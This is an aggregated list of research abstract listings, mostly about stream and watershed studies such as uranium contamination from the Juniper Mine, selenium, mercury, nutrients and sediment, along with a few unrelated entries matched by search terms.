Kayzar, Theresa M; Villa, Adam C; Lobaugh, Megan L; Gaffney, Amy M; Williams, Ross W

2014-10-01

The uranium concentrations and isotopic compositions of waters, sediment leachates and sediments from Red Rock Creek in the Stanislaus National Forest of California were measured to investigate the transport of uranium from a point source (the Juniper Uranium Mine) to a natural surface stream environment. The ((234)U)/((238)U) composition of Red Rock Creek is altered downstream of the Juniper Mine. As a result of mine-derived contamination, water ((234)U)/((238)U) ratios are 67% lower than in water upstream of the mine (1.114-1.127 ± 0.009 in the contaminated waters versus 1.676 in the clean branch of the stream), and sediment samples have activity ratios in equilibrium in the clean creek and out of equilibrium in the contaminated creek (1.041-1.102 ± 0.007). Uranium concentrations in water, sediment and sediment leachates are highest downstream of the mine, but decrease rapidly after mixing with the clean branch of the stream. Uranium content and compositions of the contaminated creek headwaters relative to the mine tailings of the Juniper Mine suggest that uranium has been weathered from the mine and deposited in the creek. The distribution of uranium between sediment surfaces (leachable fraction) and bulk sediment suggests that adsorption is a key element of transfer along the creek. In clean creek samples, uranium is concentrated in the sediment residues, whereas in the contaminated creek, uranium is concentrated on the sediment surfaces (∼70-80% of uranium in leachable fraction). Contamination only exceeds the EPA maximum contaminant level (MCL) for drinking water in the sample with the closest proximity to the mine. Isotopic characterization of the uranium in this system coupled with concentration measurements suggest that the current state of contamination in Red Rock Creek is best described by mixing between the clean creek and contaminated upper branch of Red Rock Creek rather than mixing directly with mine sediment. Published by Elsevier Ltd.

Investigating uranium distribution in surface sediments and waters: a case study of contamination from the Juniper Uranium Mine, Stanislaus National Forest, CA

DOE PAGES

Kayzar, Theresa M.; Villa, Adam C.; Lobaugh, Megan L.; ...

2014-06-07

The uranium concentrations and isotopic compositions of waters, sediment leachates and sediments from Red Rock Creek in the Stanislaus National Forest of California were measured to investigate the transport of uranium from a point source (the Juniper Uranium Mine) to a natural surface stream environment. Furthermore, we alter the (234U)/(238U) composition of Red Rock Creek downstream of the Juniper Mine. As a result of mine-derived contamination, water (234U)/(238U) ratios are 67% lower than in water upstream of the mine (1.114–1.127 ± 0.009 in the contaminated waters versus 1.676 in the clean branch of the stream), and sediment samples have activitymore » ratios in equilibrium in the clean creek and out of equilibrium in the contaminated creek (1.041–1.102 ± 0.007). Uranium concentrations in water, sediment and sediment leachates are highest downstream of the mine, but decrease rapidly after mixing with the clean branch of the stream. Uranium content and compositions of the contaminated creek headwaters relative to the mine tailings of the Juniper Mine suggest that uranium has been weathered from the mine and deposited in the creek. The distribution of uranium between sediment surfaces (leachable fraction) and bulk sediment suggests that adsorption is a key element of transfer along the creek. In clean creek samples, uranium is concentrated in the sediment residues, whereas in the contaminated creek, uranium is concentrated on the sediment surfaces (~70–80% of uranium in leachable fraction). Furthermore, contamination only exceeds the EPA maximum contaminant level (MCL) for drinking water in the sample with the closest proximity to the mine. Isotopic characterization of the uranium in this system coupled with concentration measurements suggest that the current state of contamination in Red Rock Creek is best described by mixing between the clean creek and contaminated upper branch of Red Rock Creek rather than mixing directly with mine sediment.« less

Groundwater flow cycling between a submarine spring and an inland fresh water spring.

PubMed

Davis, J Hal; Verdi, Richard

2014-01-01

Spring Creek Springs and Wakulla Springs are large first magnitude springs that derive water from the Upper Floridan Aquifer. The submarine Spring Creek Springs are located in a marine estuary and Wakulla Springs are located 18 km inland. Wakulla Springs has had a consistent increase in flow from the 1930s to the present. This increase is probably due to the rising sea level, which puts additional pressure head on the submarine Spring Creek Springs, reducing its fresh water flow and increasing flows in Wakulla Springs. To improve understanding of the complex relations between these springs, flow and salinity data were collected from June 25, 2007 to June 30, 2010. The flow in Spring Creek Springs was most sensitive to rainfall and salt water intrusion, and the flow in Wakulla Springs was most sensitive to rainfall and the flow in Spring Creek Springs. Flows from the springs were found to be connected, and composed of three repeating phases in a karst spring flow cycle: Phase 1 occurred during low rainfall periods and was characterized by salt water backflow into the Spring Creek Springs caves. The higher density salt water blocked fresh water flow and resulted in a higher equivalent fresh water head in Spring Creek Springs than in Wakulla Springs. The blocked fresh water was diverted to Wakulla Springs, approximately doubling its flow. Phase 2 occurred when heavy rainfall resulted in temporarily high creek flows to nearby sinkholes that purged the salt water from the Spring Creek Springs caves. Phase 3 occurred after streams returned to base flow. The Spring Creek Springs caves retained a lower equivalent fresh water head than Wakulla Springs, causing them to flow large amounts of fresh water while Wakulla Springs flow was reduced by about half. Published 2013. This article is a U.S. Government work and is in the public domain in the USA.

Selenium in the upper Blackfoot River watershed, southeastern Idaho, 2001-12

USGS Publications Warehouse

Mebane, Christopher A.; Mladenka, Greg; Van Every, Lynn; Williams, Marshall L.; Hardy, Mark A.; Garbarino, John R.

2014-11-05

For the annual spring synoptic samples collected by the IDEQ along the main stem Blackfoot River and major tributaries, selenium concentrations ranged from less than 2 to 870 μg/L in 176 samples. In most years, the synoptic sampling showed that the majority of the selenium loads passing the USGS streamgage at the outlet of the watershed could be attributed to a single tributary, East Mill Creek, which enters the Blackfoot River through Spring Creek. Selenium loads decreased by about half from East Mill Creek before reaching the Blackfoot River, suggesting that much selenium is at least temporarily removed from the water column by uptake by aquatic vegetation or by losses to sediment. Similar decreases in selenium loads occurred through the main stem Blackfoot River before reaching the outlet in low flow years, but not in high flow years.

CTUIR Grande Ronde River Watershed Restoration Program McCoy Creek/McIntyre Creek Road Crossing, 1995-1999 Progress Report.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Childs, Allen B.

2000-08-01

The Confederated Tribes of the Umatilla Indian Reservation (CTUIR) and Bonneville Power Administration (BPA) entered into a contract agreement beginning in 1996 to fund watershed restoration and enhancement actions and contribute to recovery of fish and wildlife resources and water quality in the Grande Ronde River Basin. The CTUIR's habitat program is closely coordinated with the Grande Ronde Model Watershed Program and multiple agencies and organizations within the basin. The CTUIR has focused during the past 4 years in the upper portions of the Grande Ronde Subbasin (upstream of LaGrande, Oregon) on several major project areas in the Meadow, McCoy,more » and McIntyre Creek watersheds and along the mainstem Grande Ronde River. This Annual Report provides an overview of individual projects and accomplishments.« less

Seismic profile analysis of sediment deposits in Brownlee and Hells Canyon Reservoirs near Cambridge, Idaho

USGS Publications Warehouse

Flocks, James; Kelso, Kyle; Fosness, Ryan; Welcker, Chris

2014-01-01

The U.S. Geological Survey (USGS) St. Petersburg Coastal and Marine Science Center, in cooperation with the USGS Idaho Water Science Center and the Idaho Power Company, collected high-resolution seismic reflection data in the Brownlee and Hells Canyon Reservoirs, in March of 2013.These reservoirs are located along the Snake River, and were constructed in 1958 (Brownlee) and 1967 (Hells Canyon). The purpose of the survey was to gain a better understanding of sediment accumulation within the reservoirs since their construction. The chirp system used in the survey was an EdgeTech Geo-Star Full Spectrum Sub-Bottom (FSSB) system coupled with an SB-424 towfish with a frequency range of 4 to 24 kHz. Approximately 325 kilometers of chirp data were collected, with water depths ranging from 0-90 meters. These reservoirs are characterized by very steep rock valley walls, very low flow rates, and minimal sediment input into the system. Sediments deposited in the reservoirs are characterized as highly fluid clays. Since the acoustic signal was not able to penetrate the rock substrate, only the thin veneer of these recent deposits were imaged. Results from the seismic survey indicate that throughout both of the Brownlee and Hells Canyon reservoirs the accumulation of sediments ranged from 0 to 2.5 m, with an average of 0.5 m. Areas of above average sediment accumulation may be related to lower slope, longer flooding history, and proximity to fluvial sources.

Mercury cycling in the Hells Canyon Complex of the Snake River, Idaho and Oregon

USGS Publications Warehouse

Clark, Gregory M.; Naymik, Jesse; Krabbenhoft, David P.; Eagles-Smith, Collin A.; Aiken, George R.; Marvin-DiPasquale, Mark C.; Harris, Reed C.; Myers, Ralph

2016-07-11

The Hells Canyon Complex (HCC) is a hydroelectric project built and operated by the Idaho Power Company (IPC) that consists of three dams on the Snake River along the Oregon and Idaho border (fig. 1). The dams have resulted in the creation of Brownlee, Oxbow, and Hells Canyon Reservoirs, which have a combined storage capacity of more than 1.5 million acre-feet and span about 90 miles of the Snake River. The Snake River upstream of and through the HCC historically has been impaired by water-quality issues related to excessive contributions of nutrients, algae, sediment, and other pollutants. In addition, historical data collected since the 1960s from the Snake River and tributaries near the HCC have documented high concentrations of mercury in fish tissue and sediment (Harris and Beals, 2013). Data collected from more recent investigations within the HCC continue to indicate elevated concentrations of mercury and methylmercury in the water column, bottom sediments, and biota (Clark and Maret, 1998; Essig, 2010; Fosness and others, 2013). As a result, Brownlee and Hells Canyon Reservoirs are listed as impaired for mercury by the State of Idaho, and the Snake River from the Oregon and Idaho border through the HCC downstream to the Oregon and Washington border is listed as impaired for mercury by the State of Oregon.

Genome-wide DNA methylation patterns in LSH mutant reveals de-repression of repeat elements and redundant epigenetic silencing pathways

PubMed Central

Yu, Weishi; McIntosh, Carl; Lister, Ryan; Zhu, Iris; Han, Yixing; Ren, Jianke; Landsman, David; Lee, Eunice; Briones, Victorino; Terashima, Minoru; Leighty, Robert; Ecker, Joseph R.

2014-01-01

Cytosine methylation is critical in mammalian development and plays a role in diverse biologic processes such as genomic imprinting, X chromosome inactivation, and silencing of repeat elements. Several factors regulate DNA methylation in early embryogenesis, but their precise role in the establishment of DNA methylation at a given site remains unclear. We have generated a comprehensive methylation map in fibroblasts derived from the murine DNA methylation mutant Hells−/− (helicase, lymphoid specific, also known as LSH). It has been previously shown that HELLS can influence de novo methylation of retroviral sequences and endogenous genes. Here, we describe that HELLS controls cytosine methylation in a nuclear compartment that is in part defined by lamin B1 attachment regions. Despite widespread loss of cytosine methylation at regulatory sequences, including promoter regions of protein-coding genes and noncoding RNA genes, overall relative transcript abundance levels in the absence of HELLS are similar to those in wild-type cells. A subset of promoter regions shows increases of the histone modification H3K27me3, suggesting redundancy of epigenetic silencing mechanisms. Furthermore, HELLS modulates CG methylation at all classes of repeat elements and is critical for repression of a subset of repeat elements. Overall, we provide a detailed analysis of gene expression changes in relation to DNA methylation alterations, which contributes to our understanding of the biological role of cytosine methylation. PMID:25170028

Water quality and aquatic toxicity data of 2002 spring thaw conditions in the upper Animas River watershed, Silverton, Colorado

USGS Publications Warehouse

Fey, D.L.; Wirt, L.; Besser, J.M.; Wright, W.G.

2002-01-01

This report presents hydrologic, water-quality, and biologic toxicity data collected during the annual spring thaw of 2002 in the upper Animas River watershed near Silverton, Colorado. The spring-thaw runoff is a concern because elevated concentrations of iron oxyhydroxides can contain sorbed trace metals that are potentially toxic to aquatic life. Water chemistry of streams draining the San Juan Mountains is affected by natural acid drainage and weathering of hydrothermal altered volcanic rocks and by more than a century of mining activities. The timing of the spring-thaw sampling effort was determined by reviewing historical climate and stream-flow hydrographs and current weather conditions. Twenty-one water-quality samples were collected between 11:00 AM March 27, 2002 and 6:00 PM March 30, 2002 to characterize water chemistry at the A-72 gage on the upper Animas River below Silverton. Analyses of unfiltered water at the A-72 gage showed a relation between turbidity and total-recoverable iron concentrations, and showed diurnal patterns. Copper and lead concentrations were related to iron concentrations, indicating that these elements are probably sorbed to colloidal iron material. Calcium, strontium, and sulfate concentrations showed overall decreasing trends due to dilution, but the loads of those constituents increased over the sampling period. Nine water-quality samples were collected near the confluence of Mineral Creek with the Animas River, the confluence of Cement Creek with the Animas River, and on the upper Animas River above the confluence with Cement Creek (three samples at each site). A total of six bulk water-toxicity samples were collected before, during, and after the spring thaw from the Animas River at the A-72 gage site. Toxicity tests conducted with the bulk water samples on amphipods did not show strong differences in toxicity among the three sampling periods; however, toxicity of river water to fathead minnows showed a decreasing trend during the course of the study.

Depositional environments, sequence stratigraphy, and trapping mechanisms of Fall River Formation in Donkey Creek and Coyote Creek oil fields, Powder River basin, Wyoming

DOE Office of Scientific and Technical Information (OSTI.GOV)

Knox, P.R.

1989-09-01

Donkey Creek and Coyote Creek fields contain combined reserves of approximately 35 million bbl of oil and are within a trend of fields on the eastern flank of the Powder River basin that totals over 100 million bbl of reserves. The principal producing formation is the Lower Cretaceous Fall River Sandstone. A study of 45 cores and 248 logs from the three pools in the Donkey Creek and Coyote fields has shown that the Fall River is composed of three progradational deltaic units deposited during a period of rising relative sea level. These are locally eroded and are filled bymore » a fluvial point-bar complex deposited following a lowering of relative sea level. Four important depositional facies have been recognized: the delta-front and distributary-channel sandstone of the highstand deltaic sequence and the point-bar sandstone and channel-abandonment of the lowstand fluvial sequence. Stratigraphic traps in Coyote Creek and south Donkey Creek pools are the result of permeable (250 md) point-bar sandstone (250 bbl oil/day ip) bounded updip by impermeable (0.1 md) channel abandonment mudstone. Most of the oil in the central Donkey Creek pool is produced from permeable (76 md) distributary-channel sandstone (150 bbl oil/day ip), which is restricted to the western flank of a structural nose. Lesser production, on the crest and upper western flank of the structure, is obtained from the less permeable (2.8 md) delta-front sandstone (50 bbl oil/day ip). Production is possibly limited to the crest and western flank by hydrodynamic processes.« less

Spatiotemporal variability of inorganic nutrients during wastewater effluent dominated streamflow conditions in Indian Creek, Johnson County, Kansas, 2012–15

USGS Publications Warehouse

Foster, Guy M.; Graham, Jennifer L.; Williams, Thomas J.; King, Lindsey R.

2016-10-31

Nutrients, particularly nitrogen and phosphorus, are a leading cause of water-quality impairment in Kansas and the Nation. Indian Creek is one of the most urban drainage basins in Johnson County, Kansas, and environmental and biological conditions are affected by contaminants from point and other urban sources. The Johnson County Douglas L. Smith Middle Basin (hereinafter Middle Basin) wastewater treatment facility (WWTF) is the largest point-source discharge on Indian Creek. A second facility, the Tomahawk Creek WWTF, discharges into Indian Creek approximately 11.6 kilometers downstream from the Middle Basin WWTF. To better characterize the spatiotemporal variability of nutrients in Indian Creek, the U.S. Geological Survey, in cooperation with the Kansas Department of Health and Environment and Johnson County Wastewater, collected high-resolution spatial and temporal (a large number of samples collected over the entire reach or at single locations over a long period of time) inorganic nutrient (nitrate plus nitrite and orthophosphorus) data using a combination of discrete samples and sensor-measured data during 2012 through 2015.Nutrient patterns observed in Indian Creek along the upstream-downstream gradient during wastewater effluent dominated streamflow conditions were largely affected by the WWTFs and by travel time of the parcels of water. Nitrate plus nitrite concentrations in the Middle Basin WWTF effluent and at downstream sites varied by as much as 6 milligrams per liter over a 24-hour period. The cyclical variability in the Middle Basin WWTF effluent generated a nitrate plus nitrite pulse that could be tracked for approximately 11.5 kilometers downstream in Indian Creek, until the effect was masked by the Tomahawk Creek WWTF effluent discharge. All longitudinal surveys showed the same general patterns along the upstream-downstream gradient, though streamflows, wastewater effluent contributions to streamflow, and nutrient concentrations spanned a wide range. Differences in orthophosphorus and nitrate plus nitrite patterns were clear along the upstream-downstream gradient in Indian Creek, and orthophosphorus concentrations were not as variable as nitrate plus nitrite concentrations. In general, nitrate plus nitrite concentrations decreased downstream from the Middle Basin WWTF to minima near the confluence with Tomahawk Creek, increased downstream from the Tomahawk Creek WWTF, and then varied little within the study reach. Orthophosphorus concentrations generally decreased downstream from the Middle Basin WWTF.Despite the marked variability in nitrate plus nitrite concentrations caused by the Middle Basin WWTF effluent discharges, decreases in nitrate plus nitrite concentrations were discernable along the study reach between the two WWTFs. Decreases in nitrate plus nitrite concentrations along study reach were less variable than the cyclical variability typically measured, reiterating the effect of the Middle Basin WWTF effluent discharges on the spatiotemporal variability of nitrate plus nitrite in Indian Creek. Although decreases and rates of change in nitrate plus nitrite concentration were similar between the upper and lower reaches of Indian Creek, relations with initial nitrate plus nitrite concentrations and seasonal patterns were different between the upper (from College to the Marty study sites) and lower reaches (from Marty to the Mission Farms study sites) and did not reflect patterns observed for the overall reach. Quantifying the decreases in nitrate plus nitrite concentration caused by dilution and other in-stream processes were beyond the scope of this study, and were limited by available data. The data that are available suggest that dilution and other in-stream processes play a role in decreasing nitrate plus nitrite concentrations downstream from the Middle Basin WWTF in Indian Creek.Analysis of the spatiotemporal variability of nutrients focused on below-normal and normal streamflow conditions, when streamflow and nutrient conditions in Indian Creek were largely controlled by WWTF effluent flows and nutrient removal processes. Spatial and temporal data indicate there are decreases in nutrient concentrations along the upstream-downstream gradient in Indian Creek, but quantifying decreases is complicated by the variability in nutrient concentrations caused by the WWTFs. During below-normal and normal streamflow conditions, Indian Creek nutrient concentrations downstream from the Middle Basin WWTF primarily reflect effluent concentrations in the hours or days before depending on relative distance downstream.

Placer tin deposits in central Alaska

USGS Publications Warehouse

Chapman, Robert Mills; Coats, Robert Roy; Payne, Thomas G.

1963-01-01

Placer tin, in the form of cassiterite (Sn02) and (or) tinstone (fragments including cassiterite and some vein or rock material), is known or reported in deposits that have been prospected or mined for placer gold in four areas adjacent to the Yukon River in central Alaska, 120 to 240 miles west of Fairbanks. These areas are: the Morelock Creek area, on the north side of the Yukon River about 30 miles upstream from Tanana; the Moran Dome area, about 16 miles north of the Yukon River and 25 miles northwest of Tanana; the Mason Creek area, on the north side of the Yukon River about 36 miles west of Tanana; and the Ruby-Long area, on the south side of the Yukon River near Ruby and about 40 miles east of Galena. The only extensive placer mining in these areas has been in the Ruby-Long area. Other placer deposits including some cassiterite are known in central Alaska but are not discussed in this report. Bedrock in these areas is predominantly schist of various types with some associated greenstone and other metamorphic rocks. Some granite is exposed in the Moran Dome and Ruby-Long areas and in areas close to Morelock and Mason Creeks. Barren, milky quartz veins and veinlets transecting the metamorphic rocks are common. No cassiterite was found in the bedrock, and no bedrock source of the tin has been reported. In the Moran Dome and Mason Creek areas, and in part of the Ruby-Long area, tourmaline is present in the rocks of the tin-bearing drainage basins, and apparently absent elsewhere in these areas. The placer deposits are in both valley floor and bench alluvium, which are predominantly relatively thin, rarely exceeding a thickness of 30 feet. Most of the alluvium deposits are not perennially frozen. In the Morelock Creek area tin-bearing deposits are 5 to 5? miles above the mouth of the creek, and meager evidence indicates that cassiterite and gold are present in Morelock Creek valley and some of the tributaries both upstream and downstream from these deposits. The concentrates recovered in samples average about 57 percent tin, and the gold averages about 922 fine. Prospecting indicates that the placer tin deposits are small and of relatively low grade, and that the greater part of the value of the deposits is the gold. In the Moran Dome area the known tin-bearing deposits are in the valley floor and bench gravels along upper Tozimoran Creek. Much of the alluvium is unfrozen, but the deeper portions of the bench gravels and the gravels some distance from the streams are in part frozen. Tin-bearing samples have been obtained from prospect pits and drill holes at a number of sites on Tozimoran Creek between its head and the confluence with Slate Creek. Gold recovered from some of these samples has a fineness of 835. The presence of cassiterite and gold on Ash Creek has been confirmed by sampling. Cassiterite and gold reportedly occur on upper Melozimoran Creek, and several other stream valleys in this area may be tin bearing. In the Mason Creek area cassiterite has been reported in the valley floor and bench alluvial deposits on Mason Creek, but its presence could not be confirmed in the brief field examinations of creek and dump-pile gravel that were made. The limited number of pits and cuts available precluded a valid sampling without additional drilling, pitting, or trenching. In the Ruby-Long area the valleys of Midnight, Birch, and Big Creeks are known to have appreciable concentrations of cassiterite in the gold-bearing placer deposits. The alluvial deposits in the valleys of Ruby, Glacier, Flint, Trail, Long, Fifth of July, Short, Flat, Greenstone, and Monument Creeks contain some cassiterite, but sufficient information could not be obtained to make an evaluation of these occurrences. Cassiterite concentrates, reportedly ranging from 52 to 70.24 percent tin, have been recovered in connection with gold mining operations on Midnight, Birch, and Big Creeks.

Hydrology of Channelized and Natural Headwater Streams

USDA-ARS?s Scientific Manuscript database

Understanding hydrology is paramount for optimal ecologic function and management of headwater streams. The objective of this study was to characterize and compare headwater streams within the Upper Big Walnut Creek watershed in Ohio. Two channelized and two unchannelized streams were instrumented w...

Trestle #1, deck from above. Note Adams Ranch and Thiokol ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

Trestle #1, deck from above. Note Adams Ranch and Thiokol (upper right). View to northeast - Promontory Route Railroad Trestles, S.P. Trestle 779.91, One mile southwest of junction of State Highway 83 and Blue Creek, Corinne, Box Elder County, UT

77 FR 60723 - Notice of Lodging of Proposed Consent Decree Under the Comprehensive Environmental Response...

Federal Register 2010, 2011, 2012, 2013, 2014

2012-10-04

... Remediation, LLC (``Defendants''), under Nevada Water Pollution Control Law, NRS Sec. 445A.300 to 445A.730... of Redband Trout between the Owyhee River and upper Mill Creek; reclamation of soil and re-vegetation...

Imported fire ants: the ants from hell!

PubMed

Freeman, T M

1994-01-01

Imported fire ants may certainly be considered the ANTS FROM HELL! This review focuses on both the interesting entomology of fire ants and the important medical characteristics of fire ant stings. They sting and they kill; they destroy; they mate in mid-air; and we may not be able to stop them. However, although they inject extremely potent venom, individuals can prevent secondary infections by leaving the so-called pustules alone and not opening them. Individuals who suffer systemic reactions may receive adequate treatment with the whole body extract immunotherapy.

1. VIEW NORTH OF OLD POWERHOUSE (FOREGROUND) AND NEW POWERHOUSE ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

1. VIEW NORTH OF OLD POWERHOUSE (FOREGROUND) AND NEW POWERHOUSE (RIGHT BACKGROUND). RETAINING WALL WITH TAILRACE OUTLETS BELOW POWERHOUSES. TRANSFORMER YARD UPPER LEFT. ELEVATOR/STAIR TOWER OF NEW POWERHOUSE, WITH BRIDGE TO TOP OF GORGE, AT UPPER RIGHT CENTER, IN FRONT OF 1965 SURGE TANK. - Trenton Falls Hydroelectric Station, Powerhouse & Substation, On west bank of West Canada Creek, along Trenton Falls Road, 1.25 miles north of New York Route 28, Trenton Falls, Oneida County, NY

Semi-quantitative evaluation of fecal contamination potential by human and ruminant sources using multiple lines of evidence

USGS Publications Warehouse

Stoeckel, D.M.; Stelzer, E.A.; Stogner, R.W.; Mau, D.P.

2011-01-01

Protocols for microbial source tracking of fecal contamination generally are able to identify when a source of contamination is present, but thus far have been unable to evaluate what portion of fecal-indicator bacteria (FIB) came from various sources. A mathematical approach to estimate relative amounts of FIB, such as Escherichia coli, from various sources based on the concentration and distribution of microbial source tracking markers in feces was developed. The approach was tested using dilute fecal suspensions, then applied as part of an analytical suite to a contaminated headwater stream in the Rocky Mountains (Upper Fountain Creek, Colorado). In one single-source fecal suspension, a source that was not present could not be excluded because of incomplete marker specificity; however, human and ruminant sources were detected whenever they were present. In the mixed-feces suspension (pet and human), the minority contributor (human) was detected at a concentration low enough to preclude human contamination as the dominant source of E. coli to the sample. Without the semi-quantitative approach described, simple detects of human-associated marker in stream samples would have provided inaccurate evidence that human contamination was a major source of E. coli to the stream. In samples from Upper Fountain Creek the pattern of E. coli, general and host-associated microbial source tracking markers, nutrients, and wastewater-associated chemical detections-augmented with local observations and land-use patterns-indicated that, contrary to expectations, birds rather than humans or ruminants were the predominant source of fecal contamination to Upper Fountain Creek. This new approach to E. coli allocation, validated by a controlled study and tested by application in a relatively simple setting, represents a widely applicable step forward in the field of microbial source tracking of fecal contamination. ?? 2011 Elsevier Ltd.

Response of periphyton fatty acid composition to supplemental flows in the upper Esopus Creek, Catskill Mountains, New York

USGS Publications Warehouse

George, Scott D.; Ernst, Anne G.; Baldigo, Barry P.; Honeyfield, Dale C.

2016-01-07

Fatty acid analysis of periphyton is an emerging tool for assessing the condition of a stream ecosystem on the basis of its water quality. The study presented in this report was designed to test the hypothesis that periphyton communities have a fatty acid profile that can detect excessive turbidity and suspended sediment. The fatty acid composition of periphyton was assessed during two seasons upstream and downstream from an underground aqueduct that provides supplemental flows, which are a potential source of turbidity and suspended sediment on the upper Esopus Creek, New York. These data were compared with measurements of periphyton standing crop, diatom community structure and integrity, and basic water-quality parameters. Periphyton standing crop and diatom community integrity indicated little evidence of impairment from the supplemental flows. The relative abundances of two physiologically important fatty acids, γ-linolenic acid (18:3ω6) and eicosapentaenoic acid (20:5ω3), were significantly lower downstream from the supplemental flows and multivariate analyses of fatty acid profiles identified significant differences between sites upstream and downstream from the supplemental flows. Individual fatty acids and summary metrics, however, were not significantly correlated with turbidity or suspended sediment. Together, these results indicate that the supplemental flows may cause some measurable effects but they do not constitute a major disturbance to the periphyton community on the upper Esopus Creek. Fatty acid analysis may have potential as a tool for monitoring changes in periphyton nutritional composition that may reflect water quality and ecosystem health but needs to be further evaluated around a more definitive source of water-quality impairment.

Sedimentological characterization of flood-tidal delta deposits in the Sego Sandstone, subsidence analysis in the Piceance Creek Basin, and uranium-lead geochronology (NW Colorado, USA)

NASA Astrophysics Data System (ADS)

York, Carly C.

The Sego Sandstone located in western Colorado is a member of the Upper Cretaceous Mesaverde Group and is considered an analogue of the Canadian heavy oil sands. Deposition of the Sego Sandstone occurred during the Upper Campanian (~78 Ma) at the end of the Sevier Orogeny and the beginning of the Laramide Orogeny on the western edge of the Cretaceous Interior Seaway. Although regional studies have detailed time equivalent deposits in the Book Cliffs, UT, the tidally influenced and marginal marine lithofacies observed north of Rangely, CO are distinctly different from the dominately fluvial and tidally-influenced delta facies of Book Cliff outcrops to the southwest. This study characterized flood-tidal delta deposits within the Sego Sandstone, the subsidence history of the Upper Cretaceous sedimentary rocks within the present day Piceance Creek Basin in NW Colorado, and the detrital zircon signal and oldest depositional age of the Sego Sandstone. The goals of this study are to (i) identify relative controls on reservoir characteristics of marginal marine deposits, specifically in flood-tidal delta deposits; (ii) identify the possible mechanisms responsible for subsidence within the present day Piceance Creek Basin during the Late Cretaceous; and (iii) better constrain the provenance and maximum depositional age of the Sego Sandstone. In this study I compared grain size diameter, grain and cement composition, and the ratio of pore space/cement from thin sections collected in tidal, shoreface, and flood-tidal delta facies recognized along detailed measured stratigraphic sections. This analysis provides a detailed comparison between different depositional environments and resultant data showed that grain size diameter is different between tidal, shoreface, and flood-tidal delta facies. Identifying the subsidence mechanisms affecting the Piceance Creek Basin and sediment source of the Late Cretaceous sediments, on the other hand, is important for evaluation of controls on basin filling. Additionally, U-Pb analysis better constrains youngest depositional age for the Sego Sandstone in northwestern Colorado to 76 Ma years old, where previously constraints have been based on stratigraphic relationships and biostratigraphy in eastern Utah and southeastern Colorado.

Remedial investigation work plan for the Upper East Fork Poplar Creek characterization area, Oak Ridge Y-12 Plant, Oak Ridge, Tennessee

DOE Office of Scientific and Technical Information (OSTI.GOV)

NONE

1995-09-01

The Oak Ridge Y-12 Plant, located within the Oak Ridge Reservation (ORR), is owned by the US Department of Energy (DOE) and managed by Lockheed Martin Energy Systems, Inc. The entire ORR was placed on the National Priorities List (NPL) of CERCLA sites in November 1989. Following CERCLA guidelines, sites under investigation require a remedial investigation (RI) to define the nature and extent of contamination, evaluate the risks to public health and the environment, and determine the goals for a feasibility study (FS) of potential remedial actions. The need to complete RIs in a timely manner resulted in the establishmentmore » of the Upper East Fork Poplar Creek (UEFPC) Characterization Area (CA) and the Bear Creek CA. The CA approach considers the entire watershed and examines all appropriate media within it. The UEFPC CA, which includes the main Y-12 Plant area, is an operationally and hydrogeologically complex area that contains numerous contaminants and containment sources, as well as ongoing industrial and defense-related activities. The UEFPC CA also is the suspected point of origin for off-site groundwater and surface-water contamination. The UEFPC CA RI also will address a carbon-tetrachloride/chloroform-dominated groundwater plume that extends east of the DOE property line into Union Valley, which appears to be connected with springs in the valley. In addition, surface water in UEFPC to the Lower East Fork Poplar Creek CA boundary will be addressed. Through investigation of the entire watershed as one ``site,`` data gaps and contaminated areas will be identified and prioritized more efficiently than through separate investigations of many discrete units.« less

Ramp Creek and Harrodsburg Limestones: A shoaling-upward sequence with storm-produced features in southern Indiana, U.S.A.. Carbonate petrology seminar, Indiana University

NASA Astrophysics Data System (ADS)

1987-05-01

Most previously described examples of storm-produced stratification have been reported from siliciclastic rocks. However, such features should also be common in carbonate rocks. The Mississippian (Valmeyeran) Ramp Creek and Harrodsburg Limestones, deposited on the east margin of the Illinois Basin on top of the Borden Delta, contain storm-produced features. The dolomitic, geode-bearing Ramp Creek Limestone contains muddying-upward sequences, commonly with scoured bases overlain by grainstones, packstones, wackestones, and burrowed mudstones. These sequences are similar to hummocky sequences formed by storm waves below fair-weather wave base. The middle portion of the section including the upper Ramp Creek and lower Harrodsburg Limestones contains dolomitized mud lenses of uncertain origin. They may have formed by the baffling effect of bryozoans and/or unpreserved algae. The Harrodsburg is gradational with the Ramp Creek and consists predominantly of grainstones and packstones deposited in shallower water. Low-angle cross-stratification and truncation surfaces suggest a foreshore depositional environment for the Harrodsburg. Neither formation contains any indication of supratidal deposition as has been previously suggested. Open marine conditions during deposition of both formations are indicated by the fauna which includes crinoids, bryozoans, brachiopods, corals, ostracods, echinoids, trilobites, molluscs, fish (sharks), and trace fossils.

METHODOLOGY FOR EVALUATING THE EFFECTIVENESS OF NONPOINT SOURCE POLLUTION ABATEMENT PROGRAMS

EPA Science Inventory

The Upper Big Walnut Creek watershed encompasses 190 square miles of predominantly agricultural cropland (65%) in Central Ohio (USA) where agronomic fertilizers and herbicides are used in row crop production. Runoff from the watershed drain to Hoover Reservoir which is Central Oh...

EVALUATING THE WATER QUALITY EFFECTIVENESS OF WATERSHED-SCALE SOURCE WATER PROTECTION PROGRAMS

EPA Science Inventory

The US EPA Office of Research and Development, the Ohio River Valley Water Sanitation Commission (ORSANCO) and the Upper Big Walnut Creek Quality Partnership created a collaborative team of eleven agencies and universities to develop a methodology for evaluating the effectiveness...

Test-well drilling in the upper Satus Creek basin, Yakima Indian Reservation, Washington

USGS Publications Warehouse

Pearson, H.E.

1977-01-01

Two test wells were drilled in the upper Satus Creek basin of the Yakima Indian Reservation, Washington, using the air-rotary method. At site 1 the well penetrated a young basalt and 175 feet of the Yakima Basalt, and at site 2 the well penetrated the young basalt. The well at site 1 was drilled to a depth of 350 feet. Tests for drawdown and yield indicated a specific capacity of about 11 gallons per minute per foot of drawdown. The potential yield of this well may be about 1,000 gallons per minute. The well at site 2 was drilled to a depth of 500 feet. Only a small quantity of water was encountered and no test for yield was made. Data from these wells, including chemical analysis of the water from the well at site 1, will provide information useful in the development and management of the ground-water resources in this part of the Yakima Indian Reservation. (Woodard-USGS)

Traveltime characteristics of Gore Creek and Black Gore Creek, upper Colorado River basin, Colorado

USGS Publications Warehouse

Gurdak, Jason J.; Spahr, Norman E.; Szmajter, Richard J.

2002-01-01

